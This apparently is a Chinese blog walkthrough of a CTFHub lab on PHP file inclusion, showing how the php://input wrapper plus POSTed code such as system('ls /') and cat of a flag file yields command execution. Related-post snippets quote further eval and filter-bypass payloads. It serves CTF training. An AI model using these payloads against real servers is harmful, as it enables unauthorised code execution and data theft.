CTFHUB-技能树-Web题-RCE(远程代码执行)-文件包含-php://input

ctfhub——php://input 首先这道题 有一些知识需要了解。参考 《php伪协议实现命令执行的七种姿势》《php伪协议总结》 首先看一下代码,截取字符串前六个字符需要 与 php://相等,也就是file变量的值 的前六个字符需要与 php://相等。 所以写个题应该是要用到php伪协议。 有一个例子看一下 php伪协议该怎么用。 16年华山杯,源码如下: <?php $user = $_GET["user"]; $file = $_GET["file"]; $pass = $_GET["pass"]; if(isset($u 阅读详情

CTFHUB-技能树-Web题-RCE(远程代码执行)-文件包含-php://input

前置知识—php伪协议
php支持的伪协议
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

php伪协议详解

php伪协议总结

文件包含—php://input

做题前先了解substr函数

函数语法:

substr(string,start,length)

参数介绍:

  • string 必需。规定要返回其中一部分的字符串。
  • start 必需。规定在字符串的何处开始。

正数 - 在字符串的指定位置开始

负数 - 在从字符串结尾的指定位置开始

0 - 在字符串中的第一个字符处开始

  • length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。

正数 - 从 start 参数所在的位置返回

负数 - 从字符串末端返回

解题方法:

观察代码

在这里插入图片描述

代码中说如果file 名中六个字符是 “php://” 就执行后面的include函数

这里其实就应该想到的是php://伪协议

php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

而执行php://input伪协议条件是allow_url_include是On

查看phpinfo发现时allow_url_include是On

url?file=php://phpinfo

在这里插入图片描述

在这里插入图片描述

说明可以使用php://input伪协议

那么我们就开始做题

用brup抓包,放入重放器中

直接构造

file的值为php://input
也就是 ?file=php://input

post参数为

<?php system("ls")?>

因为php://input是执行后面的PHP命令所以要写成php代码形式

在这里插入图片描述

直接访问根目录

(也可以一级一级目录找 
<?php system("ls ../")?>
<?php system("ls ../../")?>
)

,寻找flag

<?php system("ls /")?>

在这里插入图片描述

查看flag

system("cat /flag_3110")?>

在这里插入图片描述

ctfhub-RCE-文件包含 ,php://input,远程包含​,​ 读取源代码, 命令注入,过滤cat,过滤空格,过滤目录分隔符,过滤运算符,综合过滤练习 目录 文件包含 php://input php://input伪协议 远程包含 ​​ 读取源代码 命令注入 过滤cat 过滤空格 过滤目录分隔符 过滤运算符 综合过滤练习 文件包含 打开题目发现代码中有shell.txt直接点击shell打开在post发现是没用的,于是换个方式在?file=shell.txt 进行post php://input php:// 输入输出流 PHP 提供了一些杂项输入/输出(IO)流,允许访问... 阅读详情

相关推荐

CTFHub_技能树_Web之RCE——“php://input”

文章目录使用工具解题过程完 –>CTFHub传送门<– 使用工具 Microsoft Edge v84.0.522.40 Burpsuite v2.1 注意:本题使用Hackbar无法得到结果 解题过程 查看网页显示的源码 我们需要使用php://input来构造发送的指令 查看phpinfo,找到一下字段 证明是可以使用php://input 使用Burpsuite抓包并转至Repeater 构造包 方法:POST 目标:/?file=php://input Body:<?

Ho1aAs‘s Blog 3923

CTFHub | php://input

简单分析网页显示内容中的源代码,判断如果参数以 php:// 开头,那么执行 include 函数将参数值作为文件包含进来。否则,输出字符串 Hacker!!! 。

尼泊罗河伯的博客 2489

CTFHub技能树web之RCE(一)

根据代码可以看到该网页使用request得到cmd参数并使用eval执行cmd的代码,其中isset函数用于检测是否传入了一个名为cmd的变量的值(是否非空),eval是将一串字符作为php代码执行,$_REQUEST默认包含了。使用hackbar传递POST请求,file为php://input使得POST参数可以作为原始请求的数据,使用bp抓包,即可看到执行POST参数中代码后的内容。substr函数是返回字符串的子串,意思是如果file的前六个字符为php://,那么就会包含file文件。

wzhwzh123321的博客 1064

substr(php函数)

http://baike.baidu.com/subview/1827482/5080396.htm                1.定义和用法              2.语法 3.参数 1.定义和用法编辑 substr() 函数返回字符串的一部分。 如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。 2.语法编辑

zunguitiancheng的专栏 608

CTFHub技能树 Web-RCE 详解

RCE简介: 初学RCE(远程命令/代码执行漏洞)https://blog.youkuaiyun.com/qq_43814486/article/details/90020139 eval执行 启动环境 分析代码,提示我们将命令赋值给cmd执行 我们先查看当前位置的文件,没有什么用 /?cmd=system("ls"); 我们查看根目录文件,发现一个 flag_8999 文件 /?cmd=system("ls /"); 我们先尝试使用cat 命令查看 flag_8999文件 /..

weixin_45808483的博客 2924

CTFHub_技能树_Web之RCE——“php://input”实战解析

本文深入解析了CTFHub技能树中Web安全挑战的RCE漏洞利用,重点剖析了php://input协议在文件包含漏洞中的实战应用。通过详细演示如何使用Burpsuite构造Payload,实现远程代码执行并获取Flag,同时从防御角度探讨了漏洞成因及防护措施,为Web安全学习提供了完整的技术路径。

weixin_29007243的博客 250

CTFHUB-技能树-Web题-RCE(远程代码执行)-文件包含—php://input—读取源代码

而且也没有木马文件可以用,但是它说flag在 /flag当中。而它说flag在 /flag当中那么我们直接。file的前六个字母要是php://

Static______的博客 685

PHP文件包含漏洞实战:利用php://input伪协议实现RCE攻击与防御

文件包含是Web安全中常见的高危漏洞,其本质源于程序对用户输入的文件路径缺乏严格校验,导致攻击者可包含恶意文件或数据流。在PHP中,include、require等函数会将包含的文件内容作为代码解析,这为远程代码执行(RCE)创造了条件。php://input作为PHP内置的伪协议,能够读取HTTP POST请求的原始数据,当与文件包含漏洞结合时,攻击者可直接在POST体中注入PHP代码,绕过常规过滤实现命令执行。这种技术广泛应用于CTF竞赛和渗透测试,是理解PHP安全机制和代码执行原理的典型案例。开发者需

weixin_28715953的博客 222

CTFHub 技能树-- RCE(详解)

CTFHub – RCE RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统 eval执行文件 查看一开始的源代码: <?php if(isset($_REQUEST['cmd'])){ eval($_REQUEST['cmd']); } else{ highlight_file(__FILE__); } ?> php函数意思是: 是否由变量cmd 如果有,就执行eval($_REQUEST['cmd

m0_62879498的博客 8916

CTFHub Web挑战:如何用php://input绕过RCE限制(附Burpsuite实战截图)

本文深入解析了在CTF Web挑战中,如何利用php://input伪协议绕过RCE(远程代码执行)限制。通过剖析协议原理、漏洞代码,并结合Burpsuite实战截图,详细演示了从抓包、修改请求到执行系统命令并获取Flag的完整流程,为安全爱好者提供了一套可复用的实战思路与手法。

weixin_29001683的博客 249

题解记录-CTFHub技能树|Web|RCE

RCE漏洞,Hackbar插件的使用,cmd命令,运算符、空格、关键字flag、cat。

weixin_57448435的博客 1465

7、ctfhub技能树_web_RCE

(3)输入1.1.1.1&cat$IFS$9flag_319031051230486.php,点击ping,按F12打开网站源码,得到flag为ctfhub{4734f1bd73d4e86b5c4c9002}_36941055321623.php),用%0a代替分隔符,${IFS}代替空格,%09*代替flag,按F12打开网站源码,得到flag为ctfhub{5e8b611b7c14c1e00c387489}>,点击Send,得到flag为ctfhub{cb14169ce1e41796730b1a49}

YanLucyqi的博客 1171

PHP伪协议安全剖析:从php://input与filter到RCE实战利用

文件包含与远程代码执行(RCE)是Web安全中的核心漏洞类型,其原理在于应用程序未对用户输入进行充分验证,导致恶意代码被加载或执行。PHP作为广泛使用的服务器端语言,其内置的流包装器(Stream Wrappers)机制,特别是php://伪协议,在提供灵活数据流处理能力的同时,也引入了显著的安全风险。php://input允许读取原始的HTTP请求体,可绕过常规的$_POST/$_GET参数解析与过滤;php://filter则能对数据流进行编码、解码等转换操作,常被用于文件读取和源码泄露。在CTF竞赛与

weixin_33709219的博客 432

CTFHUB-技能树-Web题-RCE(远程代码执行)-文件包含—远程包含

还记得strpos函数吗,这段代码意思就是判断输入是否有flag字段,PHPinfo当中也表明php://input可以用。那么,利用php://input来寻找flag。没有flag,继续,查看上一级目录。没有flag,查看上一级目录。如果有就输出hacker。没有就进行include。bp抓包,url中输入。还是没有,继续往上查看。也可以直接查看根目录,

Static______的博客 775

CTF实战:PHP伪协议php://input在RCE漏洞中的原理与攻防

在Web安全领域,远程代码执行(RCE)是危害性极高的漏洞类型,它允许攻击者在目标服务器上执行任意命令。其核心原理在于应用程序未对用户输入进行充分过滤,导致攻击者能够注入并执行恶意代码。从技术价值看,理解RCE的实现机制是构建有效防御体系的基础,尤其在PHP环境中,各种封装协议(Wrapper)的特性常被用于攻击向量。php://input作为PHP的一个只读流,能够访问HTTP请求的原始数据,常与文件包含漏洞结合,在特定场景下绕过常规输入过滤,实现RCE。这种利用方式常见于CTF竞赛和渗透测试中,用于考察

weixin_42706667的博客 361

文件包含漏洞深度解析:从原理到RCE实战利用链构建

文件包含是Web应用程序开发中常见的代码复用机制,其核心原理在于通过动态引入外部文件来执行代码逻辑。当程序未对用户输入的文件路径进行严格校验时,攻击者便可利用此机制包含恶意文件,从而触发远程代码执行漏洞。从技术价值看,文件包含漏洞的危害性极高,它不仅能导致敏感信息泄露,更可作为跳板实现服务器权限控制。在应用场景上,该漏洞常出现在使用PHP等脚本语言的Web系统中,攻击者通过本地文件包含、远程文件包含或结合PHP伪协议等方式进行利用。例如,利用php://filter协议可绕过限制读取源码,而日志文件包含或S

weixin_34216196的博客 443

CTFHub技能树 Web-RCE 实战绕过技巧全解析

本文深入解析CTFHub技能树中的Web-RCE实战绕过技巧。从基础的eval代码执行和文件包含漏洞入手,逐步讲解命令注入中连接符、关键字、空格及路径分隔符的多种绕过方法,并结合综合过滤场景,提供组合拳式的实战解决方案,帮助安全爱好者系统掌握RCE漏洞的攻防精髓。

alpha的博客 112

Win10离线安装.net framework 3.5全攻略:镜像匹配与DISM命令实战(附错误0x8024402c解决方案)

本文详细解析了在Windows 10系统中离线安装.NET Framework 3.5的完整流程与核心难点。重点阐述了如何精准匹配系统版本与安装镜像,并提供了使用DISM命令进行离线安装的实战步骤。针对常见的错误代码0x8024402c,文章深入剖析了其根源,并给出了系统级的排查与解决方案,特别适合企业内网运维人员参考。

weixin_29299807的博客 661

PHP文件包含漏洞本质:从php://input到RCE的底层原理

PHP文件包含是一种基础但高危的代码执行机制,其核心在于include/require函数如何解析并执行外部资源。理解php://input、php://filter等流协议的行为差异,是掌握远程代码执行(RCE)能力的关键前提。这些协议的触发依赖于PHP运行时配置(如allow_url_include)、SAPI层处理逻辑及Zend引擎编译流程,而非简单的文件读取。技术价值体现在绕过传统WAF与disable_functions限制的能力上,在CTF实战和真实渗透中常用于突破无扩展名文件、日志文件包含、动

weixin_28715953的博客 253

MR2数据集实战:5步搞定多模态谣言检测模型训练(附完整代码)

本文详细介绍了如何使用MR2多模态数据集构建高精度谣言检测系统,涵盖环境配置、数据准备、多模态特征工程、模型架构设计、训练调优及部署优化等5个关键步骤。通过双线性融合技术处理文本、图像和网页三模态数据,解决特征对齐和模态冲突等工程难题,并提供完整代码实现和性能优化方案。

weixin_42657024的博客 239

(侧边抽屉)移动端APP汉堡页设计全解:从规范落地到体验优化

汉堡页是一种隐藏式侧边导航组件,由汉堡图标(三条水平横线)、侧边抽屉面板、主界面遮罩层三部分构成。点击汉堡图标后,面板通常从左侧滑入,覆盖主界面部分区域(或悬浮于主界面之上);关闭时可通过点击关闭按钮、遮罩层、返回键或侧滑手势完成,是移动端特有的空间优化设计模式。

qq_67370502的博客 615
上一篇: CTFHUB-技能树-Web题-RCE(远程代码执行)-文件包含
下一篇: CTFHUB-技能树-Web题-RCE(远程代码执行)-文件包含—php://input—读取源代码
python炒粉
博客等级 码龄8年 1968粉丝 29原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

python炒粉

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值